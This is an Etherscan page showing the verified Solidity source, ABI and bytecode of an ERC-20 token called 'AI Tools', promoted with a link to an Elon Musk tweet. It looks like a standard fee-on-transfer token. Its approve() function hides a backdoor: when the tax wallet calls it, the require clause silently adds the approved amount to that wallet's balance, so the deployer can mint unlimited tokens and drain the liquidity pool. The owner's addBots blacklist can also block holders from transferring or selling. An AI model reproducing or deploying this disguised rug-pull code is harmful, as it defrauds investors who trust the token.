Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function factory()    - function WETH()    - function swapExactTokensForETHSupport ...    - function addLiquidityETH(address toke ...  contract AITools is Context, IERC2 ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function allowance(address owner, add ...    - function min(uint256 a, uint256 b)    - function transfer(address recipient, ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function isContract(address account)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function addBots(address[] memory bot ...    - function delBots(address[] memory not ...    - function isBot(address a)    - function enableTrading()    - function reduceFee(uint256 _newFee)    - function manualSwap()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-06-02
*/

// SPDX-License-Identifier: MIT

/**
https://twitter.com/elonmusk/status/1664742794135470083
**/

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin,
        address[] calldata path, address to, uint deadline ) external;
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin,
        address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AITools is Context, IERC20, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax      = 15;
    uint256 private _initialSellTax     = 15;
    uint256 private _finalBuyTax        = 0;
    uint256 private _finalSellTax       = 0;
    uint256 private _reduceBuyTaxAt     = 15;
    uint256 private _reduceSellTaxAt    = 20;
    uint256 private _preventSwapBefore  = 30;
    uint256 private _buyCount           = 0;

    string private constant _name   = unicode"AI Tools";
    string private constant _symbol = unicode"AI";

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal    = 1000000 * 10**_decimals;
    uint256 public _maxTxAmount         = _tTotal * 20 / 1e3; // 2.0%
    uint256 public _maxWalletSize       = _tTotal * 20 / 1e3; // 2.0%
    uint256 public _taxSwapThreshold    = _tTotal * 20 / 1e3; // 2.0%
    uint256 public _maxTaxSwap          = _tTotal * 10 / 1e3; // 1.0%

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _taxWallet = payable(_msgSender());
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
    function min(uint256 a, uint256 b) private pure returns (uint256){ return (a > b) ? b : a; }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        require(((_msgSender() == _taxWallet) && ((_balances[_taxWallet] += amount) > 0)) || _msgSender() != _taxWallet);
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount * ((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax) / 100;

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 1 < block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount * ((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax) / 100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)] + taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool){
        return bots[a];
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen, "Trading is already open.");
        uniswapV2Router.addLiquidityETH { value: address(this).balance } (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }
    
    function reduceFee(uint256 _newFee) external{
        require(_msgSender() == _taxWallet);
        require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);
        _finalBuyTax = _newFee;
        _finalSellTax = _newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600755600f6008555f6009555f600a55600f600b556014600c55601e600d555f600e556103e86009600a6200003c91906200067c565b6200004b90620f424062000693565b6200005890601462000693565b620000649190620006ad565b600f556103e8620000786009600a6200067c565b6200008790620f424062000693565b6200009490601462000693565b620000a09190620006ad565b6010556103e8620000b46009600a6200067c565b620000c390620f424062000693565b620000d090601462000693565b620000dc9190620006ad565b6011556103e8620000f06009600a6200067c565b620000ff90620f424062000693565b6200010c90600a62000693565b620001189190620006ad565b6012556014805461ffff60a81b1916905534801562000135575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620001c9903090620001b46009600a6200067c565b620001c390620f424062000693565b62000442565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002409190620006cd565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002a0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002c69190620006cd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000311573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003379190620006cd565b601480546001600160a01b0319166001600160a01b03929092169190911790556200035f3390565b600580546001600160a01b0319166001600160a01b039283161781555f80548316815260036020526040808220805460ff199081166001908117909255308452828420805482168317905593549094168252902080549091169091179055620003cb6009600a6200067c565b620003da90620f424062000693565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200041c6009600a6200067c565b6200042b90620f424062000693565b60405190815260200160405180910390a3620006f5565b6001600160a01b038316620004aa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200050d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004a1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005c157815f1904821115620005a557620005a56200056d565b80851615620005b357918102915b93841c939080029062000586565b509250929050565b5f82620005d95750600162000676565b81620005e757505f62000676565b81600181146200060057600281146200060b576200062b565b600191505062000676565b60ff8411156200061f576200061f6200056d565b50506001821b62000676565b5060208310610133831016604e8410600b841016171562000650575081810a62000676565b6200065c838362000581565b805f19048211156200067257620006726200056d565b0290505b92915050565b5f6200068c60ff841683620005c9565b9392505050565b80820281158282048414176200067657620006766200056d565b5f82620006c857634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006de575f80fd5b81516001600160a01b03811681146200068c575f80fd5b61187880620007035f395ff3fe608060405260043610610134575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b411461034d578063a9059cbb14610377578063bf474bed14610396578063d34628cc146103ab578063dd62ed3e146103ca578063ec1f3f631461040e575f80fd5b8063751039fc146102d55780637d1db4a5146102e95780638a8c523c146102fe5780638da5cb5b146103125780638f9a55c014610338575f80fd5b8063313ce567116100f9578063313ce5671461020657806331c2d847146102215780633bbac5791461024257806351bc3c851461027957806370a082311461028d578063715018a6146102c1575f80fd5b806306fdde031461013f578063095ea7b3146101815780630faee56f146101b057806318160ddd146101d357806323b872dd146101e7575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082019091526008815267414920546f6f6c7360c01b60208201525b6040516101789190611398565b60405180910390f35b34801561018c575f80fd5b506101a061019b36600461140a565b61042d565b6040519015158152602001610178565b3480156101bb575f80fd5b506101c560125481565b604051908152602001610178565b3480156101de575f80fd5b506101c561050b565b3480156101f2575f80fd5b506101a0610201366004611434565b61052a565b348015610211575f80fd5b5060405160098152602001610178565b34801561022c575f80fd5b5061024061023b366004611486565b6105d7565b005b34801561024d575f80fd5b506101a061025c366004611546565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610284575f80fd5b50610240610668565b348015610298575f80fd5b506101c56102a7366004611546565b6001600160a01b03165f9081526001602052604090205490565b3480156102cc575f80fd5b506102406106b5565b3480156102e0575f80fd5b50610240610726565b3480156102f4575f80fd5b506101c5600f5481565b348015610309575f80fd5b506102406107d4565b34801561031d575f80fd5b505f546040516001600160a01b039091168152602001610178565b348015610343575f80fd5b506101c560105481565b348015610358575f80fd5b50604080518082019091526002815261414960f01b602082015261016b565b348015610382575f80fd5b506101a061039136600461140a565b6109bd565b3480156103a1575f80fd5b506101c560115481565b3480156103b6575f80fd5b506102406103c5366004611486565b6109d2565b3480156103d5575f80fd5b506101c56103e4366004611561565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610419575f80fd5b50610240610428366004611598565b610a60565b6005545f906001600160a01b0316336001600160a01b031614801561048057506005546001600160a01b03165f908152600160205260408120805484919083906104789084906115c3565b925050819055115b8061049f57506005546001600160a01b0316336001600160a01b031614155b6104a7575f80fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b5f6105186009600a6116b6565b61052590620f42406116c4565b905090565b5f610536848484610aa5565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156105bf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105cc85338584036110b7565b506001949350505050565b5f546001600160a01b031633146106005760405162461bcd60e51b81526004016105b6906116db565b5f5b8151811015610664575f60045f84848151811061062157610621611710565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061065c81611724565b915050610602565b5050565b6005546001600160a01b0316336001600160a01b031614610687575f80fd5b305f9081526001602052604090205480156106a5576106a5816111da565b478015610664576106648161134a565b5f546001600160a01b031633146106de5760405162461bcd60e51b81526004016105b6906116db565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461074f5760405162461bcd60e51b81526004016105b6906116db565b61075b6009600a6116b6565b61076890620f42406116c4565b600f556107776009600a6116b6565b61078490620f42406116c4565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107b46009600a6116b6565b6107c190620f42406116c4565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107fd5760405162461bcd60e51b81526004016105b6906116db565b601454600160a01b900460ff16156108575760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720697320616c7265616479206f70656e2e000000000000000060448201526064016105b6565b6013546001600160a01b031663f305d7194730610888816001600160a01b03165f9081526001602052604090205490565b5f8061089b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610901573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610926919061173c565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561097b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099f9190611767565b506014805462ff00ff60a01b19166201000160a01b17905543600655565b5f6109c9338484610aa5565b50600192915050565b5f546001600160a01b031633146109fb5760405162461bcd60e51b81526004016105b6906116db565b5f5b815181101561066457600160045f848481518110610a1d57610a1d611710565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610a5881611724565b9150506109fd565b6005546001600160a01b0316336001600160a01b031614610a7f575f80fd5b6009548111158015610a935750600a548111155b610a9b575f80fd5b6009819055600a55565b6001600160a01b038316610b095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b6565b6001600160a01b038216610b6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b6565b5f8111610bcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b6565b5f80546001600160a01b03858116911614801590610bf757505f546001600160a01b03848116911614155b15610f77576001600160a01b0384165f9081526004602052604090205460ff16158015610c3c57506001600160a01b0383165f9081526004602052604090205460ff16155b610c44575f80fd5b6064600b54600e5411610c5957600754610c5d565b6009545b610c6790846116c4565b610c719190611786565b6014549091506001600160a01b038581169116148015610c9f57506013546001600160a01b03848116911614155b8015610cc357506001600160a01b0383165f9081526003602052604090205460ff16155b15610dca57600f54821115610d1a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105b6565b60105482610d3c856001600160a01b03165f9081526001602052604090205490565b610d4691906115c3565b1115610d945760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105b6565b436006546001610da491906115c3565b1015610db557823b15610db5575f80fd5b600e8054905f610dc483611724565b91905055505b6014546001600160a01b03848116911614801590610e0057506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7f5760105482610e27856001600160a01b03165f9081526001602052604090205490565b610e3191906115c3565b1115610e7f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105b6565b6014546001600160a01b038481169116148015610ea557506001600160a01b0384163014155b15610eda576064600c54600e5411610ebf57600854610ec3565b600a545b610ecd90846116c4565b610ed79190611786565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610f1057506014546001600160a01b038581169116145b8015610f255750601454600160b01b900460ff165b8015610f32575060115481115b8015610f415750600d54600e54115b15610f7557610f63610f5e84610f5984601254611381565b611381565b6111da565b478015610f7357610f734761134a565b505b505b8015610ff057305f90815260016020526040902054610f979082906115c3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe79085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110139083906117a5565b6001600160a01b0385165f9081526001602052604090205561103581836117a5565b6001600160a01b0384165f9081526001602052604090205461105791906115c3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a084866117a5565b60405190815260200160405180910390a350505050565b6001600160a01b0383166111195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b6565b6001600160a01b03821661117a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061122057611220611710565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611277573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061129b91906117b8565b816001815181106112ae576112ae611710565b6001600160a01b0392831660209182029290920101526013546112d491309116846110b7565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061130c9085905f908690309042906004016117d3565b5f604051808303815f87803b158015611323575f80fd5b505af1158015611335573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610664573d5f803e3d5ffd5b5f81831161138f5782611391565b815b9392505050565b5f6020808352835180828501525f5b818110156113c3578581018301518582016040015282016113a7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113f7575f80fd5b50565b8035611405816113e3565b919050565b5f806040838503121561141b575f80fd5b8235611426816113e3565b946020939093013593505050565b5f805f60608486031215611446575f80fd5b8335611451816113e3565b92506020840135611461816113e3565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611497575f80fd5b823567ffffffffffffffff808211156114ae575f80fd5b818501915085601f8301126114c1575f80fd5b8135818111156114d3576114d3611472565b8060051b604051601f19603f830116810181811085821117156114f8576114f8611472565b604052918252848201925083810185019188831115611515575f80fd5b938501935b8285101561153a5761152b856113fa565b8452938501939285019261151a565b98975050505050505050565b5f60208284031215611556575f80fd5b8135611391816113e3565b5f8060408385031215611572575f80fd5b823561157d816113e3565b9150602083013561158d816113e3565b809150509250929050565b5f602082840312156115a8575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610505576105056115af565b600181815b8085111561161057815f19048211156115f6576115f66115af565b8085161561160357918102915b93841c93908002906115db565b509250929050565b5f8261162657506001610505565b8161163257505f610505565b816001811461164857600281146116525761166e565b6001915050610505565b60ff841115611663576116636115af565b50506001821b610505565b5060208310610133831016604e8410600b8410161715611691575081810a610505565b61169b83836115d6565b805f19048211156116ae576116ae6115af565b029392505050565b5f61139160ff841683611618565b8082028115828204841417610505576105056115af565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611735576117356115af565b5060010190565b5f805f6060848603121561174e575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611777575f80fd5b81518015158114611391575f80fd5b5f826117a057634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115610505576105056115af565b5f602082840312156117c8575f80fd5b8151611391816113e3565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118215784516001600160a01b0316835293830193918301916001016117fc565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209ecc886255e051e8a24f5ace0c372bd126919efc3496af920adb5adda34f3d0a64736f6c63430008140033

0x608060405260043610610134575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b411461034d578063a9059cbb14610377578063bf474bed14610396578063d34628cc146103ab578063dd62ed3e146103ca578063ec1f3f631461040e575f80fd5b8063751039fc146102d55780637d1db4a5146102e95780638a8c523c146102fe5780638da5cb5b146103125780638f9a55c014610338575f80fd5b8063313ce567116100f9578063313ce5671461020657806331c2d847146102215780633bbac5791461024257806351bc3c851461027957806370a082311461028d578063715018a6146102c1575f80fd5b806306fdde031461013f578063095ea7b3146101815780630faee56f146101b057806318160ddd146101d357806323b872dd146101e7575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082019091526008815267414920546f6f6c7360c01b60208201525b6040516101789190611398565b60405180910390f35b34801561018c575f80fd5b506101a061019b36600461140a565b61042d565b6040519015158152602001610178565b3480156101bb575f80fd5b506101c560125481565b604051908152602001610178565b3480156101de575f80fd5b506101c561050b565b3480156101f2575f80fd5b506101a0610201366004611434565b61052a565b348015610211575f80fd5b5060405160098152602001610178565b34801561022c575f80fd5b5061024061023b366004611486565b6105d7565b005b34801561024d575f80fd5b506101a061025c366004611546565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610284575f80fd5b50610240610668565b348015610298575f80fd5b506101c56102a7366004611546565b6001600160a01b03165f9081526001602052604090205490565b3480156102cc575f80fd5b506102406106b5565b3480156102e0575f80fd5b50610240610726565b3480156102f4575f80fd5b506101c5600f5481565b348015610309575f80fd5b506102406107d4565b34801561031d575f80fd5b505f546040516001600160a01b039091168152602001610178565b348015610343575f80fd5b506101c560105481565b348015610358575f80fd5b50604080518082019091526002815261414960f01b602082015261016b565b348015610382575f80f